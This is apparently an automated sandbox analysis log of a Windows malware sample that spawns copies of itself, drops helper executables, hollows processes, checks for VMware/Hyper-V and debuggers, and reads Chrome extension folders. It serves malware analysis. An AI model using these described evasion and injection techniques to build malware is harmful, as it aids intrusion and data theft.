Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_00410160
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_0040F730
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	1_2_0040FB98
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_0040F730
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00410160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_00410160
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	4_2_0040FB98

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

Thread delayed: delay time: 700000

Jump to behavior

Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Source: SUwX12D2S6.exe, 0000000C.00000002.1864655252.0000000000788000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW `
Source: SUwX12D2S6.exe, 00000004.00000003.1791733845.00000000097F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 10/04/2023 10:55:35.770OFFICECL (0x1988)0x75cTelemetry EventbiyhqMediumSendEvent {"EventName": "Office.System.SystemHealthMetadataDeviceConsolidated", "Flags": 33777031581908737, "InternalSequenceNumber": 21, "Time": "2023-10-04T09:55:05Z", "Rule": "120600.4", "AriaTenantToken": "cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521", "Contract": "Office.Legacy.Metadata", "Data.ProcTypeText": "x64", "Data.ProcessorCount": 2, "Data.NumProcShareSingleCore": 1, "Data.NumProcShareSingleCache": 1, "Data.NumProcPhysCores": 2, "Data.ProcSpeedMHz": 2000, "Data.IsLaptop": false, "Data.IsTablet": false, "Data.RamMB": 4096, "Data.PowerPlatformRole": 1, "Data.SysVolSizeMB": 50000, "Data.DeviceManufacturer": "VMWare, Inc.", "Data.DeviceModel": "VMware20,1", "Data.DigitizerInfo": 0, "Data.SusClientId": "097C77FB-5D5D-4868-860B-09F4E5B50A53", "Data.WindowsSqmMachineId": "92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A", "Data.ComputerSystemProductUuidHash": "rC2kkStHpWGLvfAgmQZRz4w5ixE=", "Data.DeviceProcessorModel": "Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz", "Data.HasSpectreFix": true, "Data.BootDiskType": "SSD"}
Source: SUwX12D2S6.exe, 00000004.00000003.1784292737.00000000097F2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: SUwX12D2S6.exe, 00000004.00000002.2244414394.0000000000828000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@w
Source: SUwX12D2S6.exe, 00000004.00000003.1789586242.00000000097F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 10/03/2023 13:09:52.535OFFICECL (0x2394)0x12d8Telemetry EventbiyhqMediumSendEvent {"EventName": "Office.System.SystemHealthMetadataDeviceConsolidated", "Flags": 33777031581908737, "InternalSequenceNumber": 11, "Time": "2023-10-03T12:09:52Z", "Rule": "120600.4", "AriaTenantToken": "cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521", "Contract": "Office.Legacy.Metadata", "Data.ProcTypeText": "x64", "Data.ProcessorCount": 2, "Data.NumProcShareSingleCore": 1, "Data.NumProcShareSingleCache": 1, "Data.NumProcPhysCores": 2, "Data.ProcSpeedMHz": 2000, "Data.IsLaptop": false, "Data.IsTablet": false, "Data.RamMB": 4096, "Data.PowerPlatformRole": 1, "Data.SysVolSizeMB": 50000, "Data.DeviceManufacturer": "VMWare, Inc.", "Data.DeviceModel": "VMware20,1", "Data.DigitizerInfo": 0, "Data.SusClientId": "097C77FB-5D5D-4868-860B-09F4E5B50A53", "Data.WindowsSqmMachineId": "92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A", "Data.ComputerSystemProductUuidHash": "rC2kkStHpWGLvfAgmQZRz4w5ixE=", "Data.DeviceProcessorModel": "Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz", "Data.HasSpectreFix": true, "Data.BootDiskType": "SSD"}
Source: SUwX12D2S6.exe, 00000006.00000002.4130188988.0000000000728000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: SUwX12D2S6.exe, 00000018.00000002.2117893429.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: SUwX12D2S6.exe, 0000000C.00000002.1864753840.0000000000810000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 0000000C.00000003.1863989873.0000000000810000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWQ
Source: SUwX12D2S6.exe, 00000004.00000003.1784292737.00000000097F2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMware20,1
Source: SUwX12D2S6.exe, 00000004.00000003.1793491574.00000000097F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 10/04/2023 11:53:18.526OFFICECL (0x1db0)0x1dd4Telemetry EventbiyhqMediumSendEvent {"EventName": "Office.System.SystemHealthMetadataDeviceConsolidated", "Flags": 33777031581908737, "InternalSequenceNumber": 17, "Time": "2023-10-04T10:52:48Z", "Rule": "120600.4", "AriaTenantToken": "cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521", "Contract": "Office.Legacy.Metadata", "Data.ProcTypeText": "x64", "Data.ProcessorCount": 2, "Data.NumProcShareSingleCore": 1, "Data.NumProcShareSingleCache": 1, "Data.NumProcPhysCores": 2, "Data.ProcSpeedMHz": 2000, "Data.IsLaptop": false, "Data.IsTablet": false, "Data.RamMB": 4096, "Data.PowerPlatformRole": 1, "Data.SysVolSizeMB": 50000, "Data.DeviceManufacturer": "VMWare, Inc.", "Data.DeviceModel": "VMware20,1", "Data.DigitizerInfo": 0, "Data.SusClientId": "097C77FB-5D5D-4868-860B-09F4E5B50A53", "Data.WindowsSqmMachineId": "92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A", "Data.ComputerSystemProductUuidHash": "rC2kkStHpWGLvfAgmQZRz4w5ixE=", "Data.DeviceProcessorModel": "Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz", "Data.HasSpectreFix": true, "Data.BootDiskType": "SSD"}
Source: SUwX12D2S6.exe, 00000001.00000002.1695073196.0000000000864000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000001.00000002.1695073196.000000000082F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.1712281637.00000000008B2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000002.2244414394.00000000008B2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000006.00000002.4130188988.00000000007B3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1889987527.0000000000913000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000913000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 0000000C.00000002.1864753840.0000000000810000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 0000000C.00000003.1863989873.0000000000810000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SUwX12D2S6.exe, 00000001.00000002.1695073196.0000000000847000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: build2.exe, 00000008.00000002.1967987129.00000000008B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: SUwX12D2S6.exe, 00000004.00000003.1794835170.00000000097F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 10/04/2023 11:57:12.660OFFICECL (0x648)0x1fe0Telemetry EventbiyhqMediumSendEvent {"EventName": "Office.System.SystemHealthMetadataDeviceConsolidated", "Flags": 33777031581908737, "InternalSequenceNumber": 20, "Time": "2023-10-04T10:57:11Z", "Rule": "120600.4", "AriaTenantToken": "cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521", "Contract": "Office.Legacy.Metadata", "Data.ProcTypeText": "x64", "Data.ProcessorCount": 2, "Data.NumProcShareSingleCore": 1, "Data.NumProcShareSingleCache": 1, "Data.NumProcPhysCores": 2, "Data.ProcSpeedMHz": 2000, "Data.IsLaptop": false, "Data.IsTablet": false, "Data.RamMB": 4096, "Data.PowerPlatformRole": 1, "Data.SysVolSizeMB": 50000, "Data.DeviceManufacturer": "VMWare, Inc.", "Data.DeviceModel": "VMware20,1", "Data.DigitizerInfo": 0, "Data.SusClientId": "097C77FB-5D5D-4868-860B-09F4E5B50A53", "Data.WindowsSqmMachineId": "92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A", "Data.ComputerSystemProductUuidHash": "rC2kkStHpWGLvfAgmQZRz4w5ixE=", "Data.DeviceProcessorModel": "Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz", "Data.HasSpectreFix": true, "Data.BootDiskType": "SSD"}
Source: SUwX12D2S6.exe, 00000004.00000003.1791973679.00000000097F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 10/04/2023 11:52:10.031OFFICE~1 (0x1b38)0x1748Telemetry EventbiyhqMediumSendEvent {"EventName": "Office.System.SystemHealthMetadataDeviceConsolidated", "Flags": 33777031581908737, "InternalSequenceNumber": 13, "Time": "2023-10-04T10:52:08Z", "Rule": "120600.4", "AriaTenantToken": "cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521", "Contract": "Office.Legacy.Metadata", "Data.ProcTypeText": "x64", "Data.ProcessorCount": 2, "Data.NumProcShareSingleCore": 1, "Data.NumProcShareSingleCache": 1, "Data.NumProcPhysCores": 2, "Data.ProcSpeedMHz": 2000, "Data.IsLaptop": false, "Data.IsTablet": false, "Data.RamMB": 4096, "Data.PowerPlatformRole": 1, "Data.SysVolSizeMB": 50000, "Data.DeviceManufacturer": "VMWare, Inc.", "Data.DeviceModel": "VMware20,1", "Data.DigitizerInfo": 0, "Data.SusClientId": "097C77FB-5D5D-4868-860B-09F4E5B50A53", "Data.WindowsSqmMachineId": "92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A", "Data.ComputerSystemProductUuidHash": "rC2kkStHpWGLvfAgmQZRz4w5ixE=", "Data.DeviceProcessorModel": "Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz", "Data.HasSpectreFix": true, "Data.BootDiskType": "SSD"}
Source: SUwX12D2S6.exe, 00000006.00000002.4130188988.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: SUwX12D2S6.exe, 00000004.00000003.1792498139.00000000097F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 10/04/2023 11:52:10.346OFFICE~1 (0x708)0x1044Telemetry EventbiyhqMediumSendEvent {"EventName": "Office.System.SystemHealthMetadataDeviceConsolidated", "Flags": 33777031581908737, "InternalSequenceNumber": 13, "Time": "2023-10-04T10:52:10Z", "Rule": "120600.4", "AriaTenantToken": "cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521", "Contract": "Office.Legacy.Metadata", "Data.ProcTypeText": "x64", "Data.ProcessorCount": 2, "Data.NumProcShareSingleCore": 1, "Data.NumProcShareSingleCache": 1, "Data.NumProcPhysCores": 2, "Data.ProcSpeedMHz": 2000, "Data.IsLaptop": false, "Data.IsTablet": false, "Data.RamMB": 4096, "Data.PowerPlatformRole": 1, "Data.SysVolSizeMB": 50000, "Data.DeviceManufacturer": "VMWare, Inc.", "Data.DeviceModel": "VMware20,1", "Data.DigitizerInfo": 0, "Data.SusClientId": "097C77FB-5D5D-4868-860B-09F4E5B50A53", "Data.WindowsSqmMachineId": "92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A", "Data.ComputerSystemProductUuidHash": "rC2kkStHpWGLvfAgmQZRz4w5ixE=", "Data.DeviceProcessorModel": "Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz", "Data.HasSpectreFix": true, "Data.BootDiskType": "SSD"}
Source: SUwX12D2S6.exe, 00000004.00000003.1712281637.00000000008B2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000002.2244414394.00000000008B2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWEK

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

API call chain: ExitProcess graph end node

graph_1-39505

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

Code function: 0_2_0459C71C rdtsc

0_2_0459C71C

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

Code function: 0_2_0040909D IsDebuggerPresent,

0_2_0040909D

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

Code function: 1_2_0042A57A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

1_2_0042A57A

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

4_2_00481920

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

1_2_00412220

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_0459B0A3 push dword ptr fs:[00000030h]	0_2_0459B0A3
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E10042 push dword ptr fs:[00000030h]	0_2_05E10042
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_0442E0A3 push dword ptr fs:[00000030h]	3_2_0442E0A3
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DE0042 push dword ptr fs:[00000030h]	3_2_05DE0042

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

Code function: 0_2_00408568 GetProcessHeap,

0_2_00408568

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_00409028 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00409028
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_004329EC
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_004329BB SetUnhandledExceptionFilter,	1_2_004329BB
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_004329EC
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_004329BB SetUnhandledExceptionFilter,	4_2_004329BB

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

Code function: 0_2_05E10110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

0_2_05E10110

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Memory written: C:\Users\user\Desktop\SUwX12D2S6.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Memory written: C:\Users\user\Desktop\SUwX12D2S6.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Memory written: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Memory written: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe	Memory written: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Memory written: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Memory written: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

Code function: 1_2_00419F90 GetCurrentProcess,GetLastError,GetLastError,SetPriorityClass,GetLastError,GetModuleFileNameW,PathRemoveFileSpecW,GetCommandLineW,CommandLineToArgvW,lstrcpyW,lstrcmpW,lstrcmpW,lstrcpyW,lstrcpyW,lstrcmpW,lstrcmpW,GlobalFree,lstrcpyW,lstrcpyW,OpenProcess,WaitForSingleObject,CloseHandle,Sleep,GlobalFree,GetCurrentProcess,GetExitCodeProcess,TerminateProcess,CloseHandle,lstrcatW,GetVersion,lstrcpyW,lstrcatW,lstrcatW,_memset,ShellExecuteExW,CreateThread,lstrlenA,lstrcatW,_malloc,lstrcatW,_memset,lstrcatW,MultiByteToWideChar,lstrcatW,lstrlenW,CreateThread,WaitForSingleObject,CreateMutexA,CreateMutexA,lstrlenA,lstrcpyA,_memmove,_memmove,_memmove,GetUserNameW,GetMessageW,GetMessageW,DispatchMessageW,TranslateMessage,TranslateMessage,DispatchMessageW,GetMessageW,PostThreadMessageW,PeekMessageW,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,CloseHandle,

1_2_00419F90

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Process created: C:\Users\user\Desktop\SUwX12D2S6.exe "C:\Users\user\Desktop\SUwX12D2S6.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Process created: C:\Users\user\Desktop\SUwX12D2S6.exe "C:\Users\user\Desktop\SUwX12D2S6.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Process created: C:\Users\user\Desktop\SUwX12D2S6.exe "C:\Users\user\Desktop\SUwX12D2S6.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Process created: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe "C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Process created: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe "C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Process created: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe --Task
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Process created: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe "C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe"
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe	Process created: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe "C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe"
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Process created: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe "C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe" --AutoStart
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Process created: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe "C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe" --AutoStart
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

Code function: 0_2_05E380F6 cpuid

0_2_05E380F6

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_05E50AB6
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	1_2_00438178
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	1_2_00440116
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_004382A2
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	1_2_0043834F
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	1_2_00438423
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: EnumSystemLocalesW,	1_2_004387C8
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: GetLocaleInfoW,	1_2_0043884E
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	1_2_00437BB3
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: EnumSystemLocalesW,	1_2_00437E27
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	1_2_00437E83
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	1_2_00437F00
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	1_2_00437F83
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	3_2_05E20AB6
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	4_2_00438178
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	4_2_00440116
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,	4_2_004382A2
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	4_2_0043834F
